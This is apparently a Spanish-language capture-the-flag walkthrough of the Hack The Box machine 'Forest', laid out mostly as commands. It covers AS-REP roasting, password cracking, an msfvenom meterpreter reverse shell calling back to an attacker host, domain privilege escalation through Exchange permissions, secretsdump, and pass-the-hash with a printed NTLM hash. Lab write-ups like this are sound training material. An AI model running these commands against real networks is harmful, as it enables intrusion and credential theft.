Forest

Forest


HTB Windows

nmap -A -p- -oA output 10.129.1.77 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA forest 10.129.1.77

nmap -sU -O -p- -oA forest-udp 10.129.1.77

nikto -h 10.129.1.77:80

gobuster dir -k -u http://10.129.1.77/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

nmapAutomator.sh 10.129.1.77 All

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

Como pense que tenia el puerto 53 abierto usamos dig

dig axfr htb.local @10.129.1.77

ssh_command.

nmap -p 389 —script ldap-search 10.129.1.77

ssh_command.

enum4linux 10.129.1.77 > forest_enum4linux-results.txt

ssh_command.

Los usuarios de arriba los pones en un archivo llamado usuarios.txt

ssh_command.

python3 /opt/impacket/examples/GetNPUsers.py htb.local/ -dc-ip 10.129.1.77 -request Algunos de los usuarios en Kerberos pueden tener su pre-autenticacion desabilitado. Por eso podemos usar GetNPUsers de impacket. Corremos el comando de arriba y vemos que el Key Distribution Center nos regreso un TGT que esta encriptado con la contrasena de svc-alfresco.

ssh_command.

Guardamos la contrasena encriptada en un archivo de texto forest_hash.txt

ssh_command.

Usamos john para desencriptar la contrasena

ssh_command.

smbmap -H htb.local -u svc-alfresco -p s3rvice

ssh_command.

nmap -sS -p 1-65535 10.129.1.77

Vemos que wsman esta en el puerto 5985

ssh_command.

Bajamos y el archivo de evil winrm https://github.com/Hackplayers/evil-winrm

ssh_command.

./evil-winrm -i 10.129.1.77 -u svc-alfresco -p ‘s3rvice’

Ver los usuarios en el dominio

net user /domain

ssh_command.

net user svc-alfresco

ssh_command.

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

Bajamos el archivo Sharphound.exe y creamos un servidor en el puerto 8888

python3 -m http.server 8888

ssh_command.

./SharpHound.exe

ssh_command.

certutil -encode 20210526120309_BloodHound.zip forest.txt type forest.txt python2 /opt/impacket/examples/smbserver.py temp . -smb2support -username df -password df msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.146 LPORT=1337 -f exe > forest_shell.exe certutil -f -split -urlcache http://10.10.14.146/forest_shell.exe

ssh_command.

$ msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.10.14.146 msf5 exploit(multi/handler) > set LPORT 1337 msf5 exploit(multi/handler) > run meterpreter > download 20210526120309_BloodHound.zip A mi me costo setear bloodhound en kali entonces voy a usar esta imagen:

https://github.com/belane/docker-bloodhound

$ docker run -it
-p 7474:7474
-e DISPLAY=unix$DISPLAY
-v /tmp/.X11-unix:/tmp/.X11-unix
—device=/dev/dri:/dev/dri
—name bloodhound belane/bloodhound

docker cp 20210526120309_BloodHound.zip bloodhound:/20210526120309_BloodHound.zip Le doy click a upload Data

Cambiamos y ponemos el usuario y su contrasena

ssh_command.

ssh_command.

neo4j console

bloodhound

Subimos el zip 20210526120309_BloodHound.zip

ssh_command.

ssh_command.

ssh_command.

Buscamos ShortestPath from Owned Principles

ssh_command.

Vamos a crear un usuario y esto es posible porque svc-alfresco es parte del grupo Account Operators.

net user cu3rv0x password /add /domain

ssh_command.

El usuario cu3rv0x tiene permisos de GenericAll y Exchange Windows

net group “Exchange Windows Permissions” /add cu3rv0x

ssh_command.

impacket-secretsdump htb.local/cu3rv0x:password@10.10.129.1.77

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.129.1.77

ssh_command.

© 2025 Cu3rv0x